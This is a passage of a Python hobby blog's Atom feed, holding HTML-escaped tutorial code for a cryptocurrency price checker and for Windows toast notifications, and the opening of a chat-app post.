          &lt;span style=&quot;color: #f8f8f2&quot;&gt;last_price&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;1&lt;/span&gt;
          &lt;span style=&quot;color: #66d9ef&quot;&gt;while&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;True:&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2&quot;&gt;crypto&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;bitcoin&lt;/span&gt; 
               &lt;span style=&quot;color: #75715e&quot;&gt;#Get the price of the crypto currency&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2&quot;&gt;price&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;get_crypto_price(crypto)&lt;/span&gt;
               &lt;span style=&quot;color: #75715e&quot;&gt;#Check if the price changed&lt;/span&gt;
               &lt;span style=&quot;color: #66d9ef&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;price&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;last_price:&lt;/span&gt;
                    &lt;span style=&quot;color: #75715e&quot;&gt;#Print the price&lt;/span&gt;
                    &lt;span style=&quot;color: #66d9ef&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;(crypto&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39; price: &amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,price)&lt;/span&gt;
                    &lt;span style=&quot;color: #75715e&quot;&gt;#Update the last price&lt;/span&gt;
                    &lt;span style=&quot;color: #f8f8f2&quot;&gt;last_price&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;price&lt;/span&gt;

               &lt;span style=&quot;color: #75715e&quot;&gt;#Suspend execution for 3 seconds.&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2&quot;&gt;time&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;sleep(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef&quot;&gt;except&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;
          &lt;span style=&quot;color: #66d9ef&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;Please Enter Valid Coin&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;


          
&lt;/pre&gt;&lt;/div&gt;
&lt;br&gt;
&lt;p&gt;Output:-&lt;/p&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;background: #272822; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot;&gt;&lt;span style=&quot;color: #75715e&quot;&gt;#NOTE:- type main(&amp;lt;YOUR COIN&amp;gt;) &amp;amp; [ENTER]&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;main(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;bitcoin&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;bitcoin&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;price:&lt;/span&gt;  &lt;span style=&quot;color: #ae81ff&quot;&gt;43&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;01&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;968.93&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Indian&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Rupee&lt;/span&gt;

&lt;span style=&quot;color: #f92672&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;main(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;litecoin&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;litecoin&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;price:&lt;/span&gt;  &lt;span style=&quot;color: #ae81ff&quot;&gt;15&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;291.76&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Indian&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Rupee&lt;/span&gt;

&lt;span style=&quot;color: #f92672&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;main(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;etherium&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt; 
&lt;span style=&quot;color: #f8f8f2&quot;&gt;etherium&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;price:&lt;/span&gt;  &lt;span style=&quot;color: #ae81ff&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;39&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;967.56&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Indian&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Rupee&lt;/span&gt;

&lt;span style=&quot;color: #f92672&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;main(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;pythoncoin&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;Please&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Enter&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Valid&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Coin&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; 

&lt;span style=&quot;color: #f92672&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;main(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;python4fun&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
	 
&lt;span style=&quot;color: #f8f8f2&quot;&gt;Please&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Enter&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Valid&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Coin&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; 

&lt;span style=&quot;color: #f92672&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;main(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;doge&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;doge&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;price:&lt;/span&gt;  &lt;span style=&quot;color: #ae81ff&quot;&gt;16.48&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Indian&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Rupee&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;br /&gt;
&lt;strong&gt;RUN&lt;/strong&gt;
&lt;iframe frameborder=&quot;0&quot; width=&quot;100%&quot; height=&quot;500px&quot; src=&quot;https://replit.com/@python-4-fun/CryptoPrice?lite=true&amp;embed=true&quot;&gt;&lt;/iframe&gt;</content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/7899505099096592993/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2021/11/get-price-of-cryptocurrencies-in-real.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/7899505099096592993'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/7899505099096592993'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2021/11/get-price-of-cryptocurrencies-in-real.html' title='Get the Price of Cryptocurrencies in Real Time using Python'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/a/AVvXsEjkCBen_f4SfFc-dKaY-TSFMBgV9eHQnv7ti1DOnVAZ2ENAgE9C-PT2Fe90ie86TuXe5OMNOnbd1QZxTSOjAZXf4yo8H6vV4bmG1SRjG47ChzIUDc2zN3QXB0BU_g3MmqSf4Os0hgiX5v7hn-g95ARIqFWyZlGyHHd3LljMFpUOG4wpUOK1ofZbr31P=s72-c" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-2477703792696858831</id><published>2021-11-26T12:48:00.007-08:00</published><updated>2021-11-26T13:13:45.415-08:00</updated><title type='text'>Create Notification on Windows using Python | Toast Notification | Popup Notification</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEhfGiN9TpzYSHMB7RhBMtmPkiA_YNZFSR-I4cQDe65U7udUe4qfNuIpXj45XtgmJ8k6XzkyOzCTVrKPYlwkjMevAe499rEsR1lh7XPKTqQLbgE4ubJB8QbPQQ1zqguitJBN-CINZEuwdo66Zh3YDVEpJZwDB34pd0J-bSEgQFYgo0Bhz249Qc3PwGR3&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img alt=&quot;Create Notification on Windows using Python | Toast Notification | Popup Notification&quot; border=&quot;0&quot; data-original-height=&quot;1600&quot; data-original-width=&quot;900&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEhfGiN9TpzYSHMB7RhBMtmPkiA_YNZFSR-I4cQDe65U7udUe4qfNuIpXj45XtgmJ8k6XzkyOzCTVrKPYlwkjMevAe499rEsR1lh7XPKTqQLbgE4ubJB8QbPQQ1zqguitJBN-CINZEuwdo66Zh3YDVEpJZwDB34pd0J-bSEgQFYgo0Bhz249Qc3PwGR3&quot;/&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;Ever wondered what if you could customize notification on windows and print text according to your needs. Or a Reminder like an Alarm Clock or a Scheduled task that gives you popup notification also called toast notification which is on the bottom right of your screen.&lt;/p&gt;&lt;p&gt;Which would look something like this....&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEiVcc3ktF2aB9fMP0wEG1ZjeRpfvSWtbuDX5VcE9ko9pM8VTSHhFHxBqVw_HDhkG8DdVOCcRBG5qtPlSFpW9DoEVwBjwvCKdKsE7161ApfzCoxWmqyJ6EOjyY-3Smqb7Mdkz8Y-pu4I5qQ2Yom7SQeN0hmMOJRL2bSxcCUzMEdw8TLXmKp83pxGDlkO=s417&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Popup Notification&quot; border=&quot;0&quot; data-original-height=&quot;160&quot; data-original-width=&quot;417&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEiVcc3ktF2aB9fMP0wEG1ZjeRpfvSWtbuDX5VcE9ko9pM8VTSHhFHxBqVw_HDhkG8DdVOCcRBG5qtPlSFpW9DoEVwBjwvCKdKsE7161ApfzCoxWmqyJ6EOjyY-3Smqb7Mdkz8Y-pu4I5qQ2Yom7SQeN0hmMOJRL2bSxcCUzMEdw8TLXmKp83pxGDlkO=s16000&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&amp;nbsp;&lt;p&gt;&lt;/p&gt;&lt;p&gt;It would come handy if you could control them according to your needs. So how to do that?&lt;/p&gt;&lt;p&gt;Well, its just a few lines of code. So lets start with a code.&lt;/p&gt;

&lt;p&gt;Our First format we will create a simple notification, and its only job is to popup with some text on it.&lt;/p&gt;&lt;br&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;background: #272822; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot;&gt;&lt;span style=&quot;color: #75715e&quot;&gt;# pip install win10toast&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;win10toast&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;ToastNotifier&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;toaster&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;ToastNotifier()&lt;/span&gt;

&lt;span style=&quot;color: #75715e&quot;&gt;#Show Notification On Windows.&lt;/span&gt;
&lt;span style=&quot;color: #75715e&quot;&gt;#Download icon and name it as icon.ico in the same folder.&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;toaster&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;show_toast(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Title - Hello World of Python4Fun&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;
                   &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Description Text of python4fun&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;
                   &lt;span style=&quot;color: #f8f8f2&quot;&gt;duration&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;
                   &lt;span style=&quot;color: #f8f8f2&quot;&gt;icon_path&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;icon.ico&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;i&gt;&lt;b&gt;#Output_1&lt;/b&gt;&lt;/i&gt;&lt;br&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEiboNYfidE5cZbL7wlpznRY6EC0I89qyp_9vcE_Xmt5Um0aYFTyedsn7OWLyhHApvvW33H3k-GPh5F4EMnMLr2LoBKo_qvpkOJ_qfGB0y7hNEBkek8u1p1tBBL12WEvbqEasLy7nOjhMAeTM9AA_-yz97w4mA05zhqkMquG7jG0VvUseH6H_yc82R4z&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img alt=&quot;Toast Notification&quot; border=&quot;0&quot; data-original-height=&quot;160&quot; data-original-width=&quot;417&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEiboNYfidE5cZbL7wlpznRY6EC0I89qyp_9vcE_Xmt5Um0aYFTyedsn7OWLyhHApvvW33H3k-GPh5F4EMnMLr2LoBKo_qvpkOJ_qfGB0y7hNEBkek8u1p1tBBL12WEvbqEasLy7nOjhMAeTM9AA_-yz97w4mA05zhqkMquG7jG0VvUseH6H_yc82R4z&quot;/&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;&lt;br&gt;
&lt;p&gt;Our Second format we will create similar notification type but this time it will have the feature of click which will lead us to a website of the given URL.&lt;br /&gt;&lt;/p&gt;&lt;br&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;background: #272822; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot;&gt;&lt;span style=&quot;color: #75715e&quot;&gt;# pip install win10toast-click&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;win10toast_click&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;ToastNotifier&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;webbrowser&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;toaster&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;ToastNotifier()&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;url&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;https://pysnakeblog.blogspot.com&amp;quot;&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e&quot;&gt;open_url&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;():&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2&quot;&gt;webbrowser&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;open_new(url)&lt;/span&gt;
        &lt;span style=&quot;color: #66d9ef&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Opening URL...&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef&quot;&gt;except&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;
        &lt;span style=&quot;color: #66d9ef&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Sorry, failed to open URL!&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
        
&lt;span style=&quot;color: #75715e&quot;&gt;#Show Notification On Windows.&lt;/span&gt;
&lt;span style=&quot;color: #75715e&quot;&gt;#Download icon and name it as icon.ico in the same folder.&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;toaster&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;show_toast(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Welcome to Python4Fun&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;
                   &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Click Here to Open &amp;gt;&amp;gt; &amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;
                   &lt;span style=&quot;color: #f8f8f2&quot;&gt;duration&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;
                   &lt;span style=&quot;color: #f8f8f2&quot;&gt;icon_path&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;icon.ico&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;
                   &lt;span style=&quot;color: #f8f8f2&quot;&gt;threaded&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;True,&lt;/span&gt;
                   &lt;span style=&quot;color: #f8f8f2&quot;&gt;callback_on_click&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;open_url)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;i&gt;&lt;b&gt;#Output_2&lt;/b&gt;&lt;/i&gt;&lt;br&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjW2mlb8GYY43IWiRB3OaGvv0D_UHZAuCQ-ry4QtV3Foi_xR8hEKxr5Yci9fzDsAGUIn6buEatxWrD1-f0-6Jykb5J_ZhmbBGKC4neMqCgz3pMw31MOAps5I-3nzMGFKimsUOK_zJ2vaq7SNpvYswRI6PnbT-RYSmQd_R9gT_Czua_0rgjRpdCc1rmw&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img alt=&quot;Create Notification on Windows using Python&quot; border=&quot;0&quot; data-original-height=&quot;165&quot; data-original-width=&quot;435&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjW2mlb8GYY43IWiRB3OaGvv0D_UHZAuCQ-ry4QtV3Foi_xR8hEKxr5Yci9fzDsAGUIn6buEatxWrD1-f0-6Jykb5J_ZhmbBGKC4neMqCgz3pMw31MOAps5I-3nzMGFKimsUOK_zJ2vaq7SNpvYswRI6PnbT-RYSmQd_R9gT_Czua_0rgjRpdCc1rmw&quot;/&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt;*Note:- pip Install... commandline is included in the script.&lt;/b&gt;</content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/2477703792696858831/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2021/11/create-notification-on-windows-using.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/2477703792696858831'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/2477703792696858831'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2021/11/create-notification-on-windows-using.html' title='Create Notification on Windows using Python | Toast Notification | Popup Notification'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/a/AVvXsEhfGiN9TpzYSHMB7RhBMtmPkiA_YNZFSR-I4cQDe65U7udUe4qfNuIpXj45XtgmJ8k6XzkyOzCTVrKPYlwkjMevAe499rEsR1lh7XPKTqQLbgE4ubJB8QbPQQ1zqguitJBN-CINZEuwdo66Zh3YDVEpJZwDB34pd0J-bSEgQFYgo0Bhz249Qc3PwGR3=s72-c" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-4909748895672193698</id><published>2021-11-22T09:32:00.015-08:00</published><updated>2021-12-31T21:15:27.103-08:00</updated><title type='text'>Create Yahoo like Chat App with Python</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEgiYh9MeQSwjcPP41LbJIM25BBNZxedQgFQVUheA8HVHo0jJ-2quqnWoV2KWBfNgMCDw6Fg4kjct8moL9PX44BVgY2zQbRqhuHaTxV_LmQTMXsVaSHMXYnLz9nX3MrAVIyYg4JHzc5YiZcbwTIFs4-OWsK1qc79ZJT7nDdfgcy_pHfuCQXK-jwyuX5_&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img alt=&quot;Creating Yahoo Messenger Like Chat App using Python&quot; border=&quot;0&quot; data-original-height=&quot;1920&quot; data-original-width=&quot;1080&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEgiYh9MeQSwjcPP41LbJIM25BBNZxedQgFQVUheA8HVHo0jJ-2quqnWoV2KWBfNgMCDw6Fg4kjct8moL9PX44BVgY2zQbRqhuHaTxV_LmQTMXsVaSHMXYnLz9nX3MrAVIyYg4JHzc5YiZcbwTIFs4-OWsK1qc79ZJT7nDdfgcy_pHfuCQXK-jwyuX5_&quot;/&gt;&lt;/a&gt;&lt;/div&gt;

&lt;center&gt;&lt;iframe allowfullscreen=&quot;&quot; class=&quot;YOUTUBE-iframe-video&quot; data-thumbnail-src=&quot;https://i.ytimg.com/vi/XMFq7N_mEEA/0.jpg&quot; frameborder=&quot;0&quot; height=&quot;230&quot; src=&quot;https://www.youtube.com/embed/XMFq7N_mEEA?feature=player_embedded&quot; width=&quot;420&quot;&gt;&lt;/iframe&gt;&lt;/center&gt;
&lt;br /&gt;

&lt;p&gt;I don&#39;t know about you but I do miss those days when there was no such thing as facebook, no Android phone and IPhone. But we did have Cyber Cafe where we used to have our favorite Yahoo Messenger installed where we used to spend hours and hours with unknown friends and the whole experience of it was very cozy. So I thought why not create something of that sort using python.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Which would look like this:-&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEiOxCU_ky_OPNhrvrvxy2hzKTIMp8Uadzk661wsjYedWxk0SnT0yESuRTSO8dc-R3zZZtZ6Vyk0uB-uNyNsesJQ8XQyV8HlX9wwCV6Z9R7563o2E6_9XQdP2ZNTeYdmCTud9CIQ6jxl35CIRXvWPD2cO0fjDbZTHUvT2_EbFLt1h6ioExiJcjMUTiXc&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img alt=&quot;chat app using python&quot; border=&quot;0&quot; data-original-height=&quot;639&quot; data-original-width=&quot;616&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEiOxCU_ky_OPNhrvrvxy2hzKTIMp8Uadzk661wsjYedWxk0SnT0yESuRTSO8dc-R3zZZtZ6Vyk0uB-uNyNsesJQ8XQyV8HlX9wwCV6Z9R7563o2E6_9XQdP2ZNTeYdmCTud9CIQ6jxl35CIRXvWPD2cO0fjDbZTHUvT2_EbFLt1h6ioExiJcjMUTiXc&quot;/&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Lets get on with the code:-&lt;/p&gt;
&lt;p&gt;Run the server script.&lt;/p&gt;
&lt;meta charset=&quot;UTF-8&quot;&gt;
&lt;link rel=&#39;stylesheet&#39; href=&#39;https://fonts.googleapis.com/css?family=Lato:300&#39;&gt;
